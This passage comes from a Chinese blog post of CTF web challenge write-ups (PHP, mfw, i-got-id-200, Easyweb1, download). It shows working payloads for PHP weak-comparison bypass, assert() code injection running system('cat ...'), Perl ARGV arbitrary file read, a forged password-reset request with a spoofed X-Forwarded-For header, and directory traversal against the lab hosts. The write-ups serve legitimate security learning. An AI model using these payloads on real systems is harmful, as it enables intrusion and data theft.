class="string">"ccc"</span>])?<span class="keyword">die</span>(<span class="string">"Emmm..."</span>):<span class="keyword">NULL</span>;</span><br><span class="line">    <span class="keyword">if</span>(@$bbb[<span class="string">"ccc"</span>])&#123;</span><br><span class="line">        ($bbb[<span class="string">"ccc"</span>]&gt;<span class="number">2017</span>)?$b=<span class="number">1</span>:<span class="keyword">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(is_array(@$bbb[<span class="string">"ddd"</span>]))&#123;</span><br><span class="line">        <span class="keyword">if</span>(count($bbb[<span class="string">"ddd"</span>])!==<span class="number">2</span> <span class="keyword">OR</span> !is_array($bbb[<span class="string">"ddd"</span>][<span class="number">0</span>])) <span class="keyword">die</span>(<span class="string">"Emmm..."</span>);</span><br><span class="line">        $eee = array_search(<span class="string">"XMAN"</span>, $bbb[<span class="string">"ddd"</span>]);</span><br><span class="line">        $eee===<span class="keyword">false</span>?<span class="keyword">die</span>(<span class="string">"Emmm..."</span>):<span class="keyword">NULL</span>;</span><br><span class="line">        <span class="keyword">foreach</span>($bbb[<span class="string">"ddd"</span>] <span class="keyword">as</span> $key=&gt;$val)&#123;</span><br><span class="line">            $val===<span class="string">"XMAN"</span>?<span class="keyword">die</span>(<span class="string">"Emmm..."</span>):<span class="keyword">NULL</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $c=<span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>($a &amp;&amp; $b &amp;&amp; $c)&#123;</span><br><span class="line">    <span class="keyword">include</span> <span class="string">"flag.php"</span>;</span><br><span class="line">    <span class="keyword">echo</span> $flag;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>先分析得出flag的条件if($a &amp;&amp; $b &amp;&amp; $c) 即这三个参数都为1才出flag, 先分析第一个$a, 这里考察了switch…case的弱类型比较， 用$aaa=1a 即可绕过<br>分析第二个$b, 判断条件是$bbb[“ccc”]&gt;2017 依然是弱类型比较, 让’ccc’ =&gt; ‘2018aaa’ 即可, 第三个考察的是array_search函数的绕过，和switch..case一样也是弱类型比较绕过， 最后bbb的值应该是</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$bbb = <span class="keyword">array</span>(</span><br><span class="line">    <span class="string">'ccc'</span> =&gt; <span class="string">'2018aaa'</span>,</span><br><span class="line">    <span class="string">'ddd'</span> =&gt; <span class="keyword">array</span>(<span class="keyword">array</span>(), <span class="number">0</span>),</span><br><span class="line">);</span><br></pre></td></tr></table></figure>
<p>用json_encode函数加密一下得到{“ccc”:”2018aaa”,”ddd”:[[],0]}<br>最终的payload为:</p>
<p>/index.php?aaa=1a&amp;bbb={“ccc”:”2018aaa”,”ddd”:[[],0]}</p>
<h3 id="mfw"><a href="#mfw" class="headerlink" title="mfw"></a>mfw</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">本题无题干</span><br></pre></td></tr></table></figure>
<p>打开后是一个php+bootstrap的网站，单击页面链接均为如下形式：</p>
<blockquote>
<p><a href="http://xxx.xxx.xxx.xxx/?page=xxx" target="_blank" rel="noopener">http://xxx.xxx.xxx.xxx/?page=xxx</a></p>
</blockquote>
<p>目测为文件包含，尝试部分payload后无果，目录扫描发现.git文件泄露</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g21y0izfnej30oq0a4q3f.jpg" alt=""></p>
<p>下载后发现flag.php，打开后显示</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// TODO</span></span><br><span class="line"><span class="comment">// $FLAG = '';</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>进行日志回溯，</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git log flag.php</span><br><span class="line">git diff d2025440d6ac37d834604aaf08438ba563c54647 flag.php</span><br></pre></td></tr></table></figure>
<p>发现没有任何东西.</p>
<p>没办法，查看index.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'page'</span>])) &#123;</span><br><span class="line">    $page = $_GET[<span class="string">'page'</span>];</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    $page = <span class="string">"home"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$file = <span class="string">"templates/"</span> . $page . <span class="string">".php"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// I heard '..' is dangerous!</span></span><br><span class="line">assert(<span class="string">"strpos('$file', '..') === false"</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"Detected hacking attempt!"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Make this look nice</span></span><br><span class="line">assert(<span class="string">"file_exists('$file')"</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"That file doesn't exist!"</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">                <span class="keyword">require_once</span> $file;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>代码逻辑很好理解，首先判断page是否存在，不存在则等于home，存在则拼接文件名，然后使用strpos去除..防止目录遍历，然后判断文件是否存在，存在则包含。</p>
<p>但是这样也造成了代码注入问题，如以下payload：</p>
<p>?page=123%27)%20or%20phpinfo();%23</p>
<p>代码部分就变成了assert(“file_exists(‘123’)or phpinfo();#’)”)</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g21zjrkokxj316s0lkacv.jpg" alt=""></p>
<p>我们再来打开flag文件看看</p>
<p><a href="http://218.2.197.241:24355/?page=&#39;)+or+system(&#39;cat+templates/flag.php&#39;);//" target="_blank" rel="noopener">http://218.2.197.241:24355/?page=&#39;)+or+system(&#39;cat+templates/flag.php&#39;);//</a></p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g21zpdkp5yj30rl094t9s.jpg" alt=""></p>
<p>话说为啥直接打开没有呢？emmmm</p>
<h3 id="i-got-id-200"><a href="#i-got-id-200" class="headerlink" title="i-got-id-200"></a>i-got-id-200</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">本题无题干</span><br></pre></td></tr></table></figure>
<p>打开后如下：</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g2206o3ebmj30sc0dtmy0.jpg" alt=""></p>
<p>简单看了下是一个perl的站，但是自己对perl一窍不通…</p>
<p>file界面是一个文件上传界面，上传任何文件都会打印其内容..</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g220abmxrsj30uw0jkjsw.jpg" alt=""></p>
<p>简单学习了下perl的上传，猜测可能后台为：</p>
<figure class="highlight perl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">my</span> $cgi= CGI-&gt;new;</span><br><span class="line"><span class="keyword">if</span> ( $cgi-&gt;upload( <span class="string">'file'</span> ) )</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">my</span> $file= $cgi-&gt;param( <span class="string">'file'</span> );</span><br><span class="line"><span class="keyword">while</span> ( &lt;$file&gt; ) &#123; <span class="keyword">print</span> <span class="string">"$_"</span>; &#125; &#125;</span><br></pre></td></tr></table></figure>
<p>param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说，如果我们传入一个ARGV的文件，那么Perl会将传入的参数作为文件名读出来。这样，我们的利用方法就出现了：在正常的上传文件前面加上一个文件上传项ARGV，然后在URL中传入文件路径参数，这样就可以读取任意文件了。</p>
<p>注意ARGV是PERL默认用来接收参数的数组,不管脚本里有没有把它写出来,它始终是存在的。</p>
<p>所以尝试构造</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g220p0pe9rj31550ezjuy.jpg" alt=""></p>
<p>然后使用IFS作为命令分割，搜索得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23eqnid0kj30md0d2jvf.jpg" alt=""></p>
<h3 id="Easyweb1"><a href="#Easyweb1" class="headerlink" title="Easyweb1"></a>Easyweb1</h3><p>打开页面后提示登录操作，页面具有注册、找回密码、登录功能，尝试注册账号。</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23f460cphj30lm0b70sp.jpg" alt=""></p>
<p>尝试正常的流程的密码找回，发现流程是通过index.php?module=findpwd&amp;step=2&amp;doSubmit=yes这样的地址进行校验的，于是构造数据包</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST /index.php?module=findpwd&amp;step=2&amp;doSubmit=yes HTTP/1.1</span><br><span class="line">Host: 218.2.197.241:21150</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">DNT: 1</span><br><span class="line">Referer: http://218.2.197.241:21150/index.php?module=findpwd&amp;step=1&amp;doSubmit=yes</span><br><span class="line">Cookie: UM_distinctid=16a10b48a055cd-02118f22bc71408-1369634a-1fa400-16a10b48a06588; CNZZDATA80862620=cnzz_eid%3D1748192288-1555056624-%26ntime%3D1555056624; PHPSESSID=kkb9kt15s85avoscipp2ovaej5</span><br><span class="line">X-Forwarded-For: 8.8.8.8, 127.0.0.1</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 28</span><br><span class="line"></span><br><span class="line">username=admin&amp;newpwd=123456</span><br></pre></td></tr></table></figure>
<p>成功重置admin的密码</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23f61h62rj314g0ff76t.jpg" alt=""></p>
<p>登录后点击任何模块均显示ip不允许.修改ip为127.0.0.1</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23f8onbjbj31420e9ju5.jpg" alt=""></p>
<p>获得如下提示：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- index.php?module=filemanage&amp;do=???--&gt;</span><br></pre></td></tr></table></figure>
<p>盲猜upload<br>出现上传界面</p>
<p>构造如下数据包，拿到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23fkf5v3lj312t0ertbh.jpg" alt=""></p>
<h3 id="download"><a href="#download" class="headerlink" title="download"></a>download</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">题目描述：简单的目录遍历和任意文件下载，只要在登录之后找到download文件就可以下载任意文件，参数path没有做过滤，../../../../可以遍历目录。</span><br><span class="line"></span><br><span class="line">提示： download</span><br></pre></td></tr></table></figure>
<p>打开后是一个登录界面，弱口令admin、admin登录成功</p>
<p>因为题目提示是下载，所以找到下载链接，尝试任意下载..</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g23g3zrha6j30qz0h6wfu.jpg" alt=""></p>
<p>得到flag</p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/赛宁平台web题解/">赛宁平台web题解(一)</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2019年04月13日 - 15:04</p>
  <p><span>最后更新:</span>2019年04月15日 - 18:04</p>
  <p><span>原始链接:</span><a href="/赛宁平台web题解/" title="赛宁平台web题解(一)">https://lengjibo.github.io/赛宁平台web题解/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/赛宁平台web题解/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/CTF/" rel="tag"><i class="fa fa-tag"></i> CTF</a>
          
            <a href="/tags/赛宁/" rel="tag"><i class="fa fa-tag"></i> 赛宁</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/vuls复现/" rel="next" title="vuls复现(一)">
                <i class="fa fa-chevron-left"></i> vuls复现(一)
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/爱拍xss/" rel="prev" title="爱拍xss">
                爱拍xss <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#初级"><span class="nav-number">1.</span> <span class="nav-text">初级</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#simple-php"><span class="nav-number">1.1.</span> <span class="nav-text">simple_php</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#command-execution"><span class="nav-number">1.2.</span> <span class="nav-text">command_execution</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#webshell"><span class="nav-number">1.3.</span> <span class="nav-text">webshell</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#weak-auth"><span class="nav-number">1.4.</span> <span class="nav-text">weak_auth</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#xff-referer"><span class="nav-number">1.5.</span> <span class="nav-text">xff_referer</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#simple-js"><span class="nav-number">1.6.</span> <span class="nav-text">simple_js</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#disabled-button"><span class="nav-number">1.7.</span> <span class="nav-text">disabled_button</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#cookie"><span class="nav-number">1.8.</span> <span class="nav-text">cookie</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#backup"><span class="nav-number">1.9.</span> <span class="nav-text">backup</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#robots"><span class="nav-number">1.10.</span> <span class="nav-text">robots</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#get-post"><span class="nav-number">1.11.</span> <span class="nav-text">get_post</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#view-source"><span class="nav-number">1.12.</span> <span class="nav-text">view_source</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#中级"><span class="nav-number">2.</span> <span class="nav-text">中级</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP2"><span class="nav-number">2.1.</span> <span class="nav-text">PHP2</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP"><span class="nav-number">2.2.</span> <span class="nav-text">PHP</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#mfw"><span class="nav-number">2.3.</span> <span class="nav-text">mfw</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#i-got-id-200"><span class="nav-number">2.4.</span> <span class="nav-text">i-got-id-200</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Easyweb1"><span class="nav-number">2.5.</span> <span class="nav-text">Easyweb1</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#download"><span class="nav-number">2.6.</span> <span class="nav-text">download</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
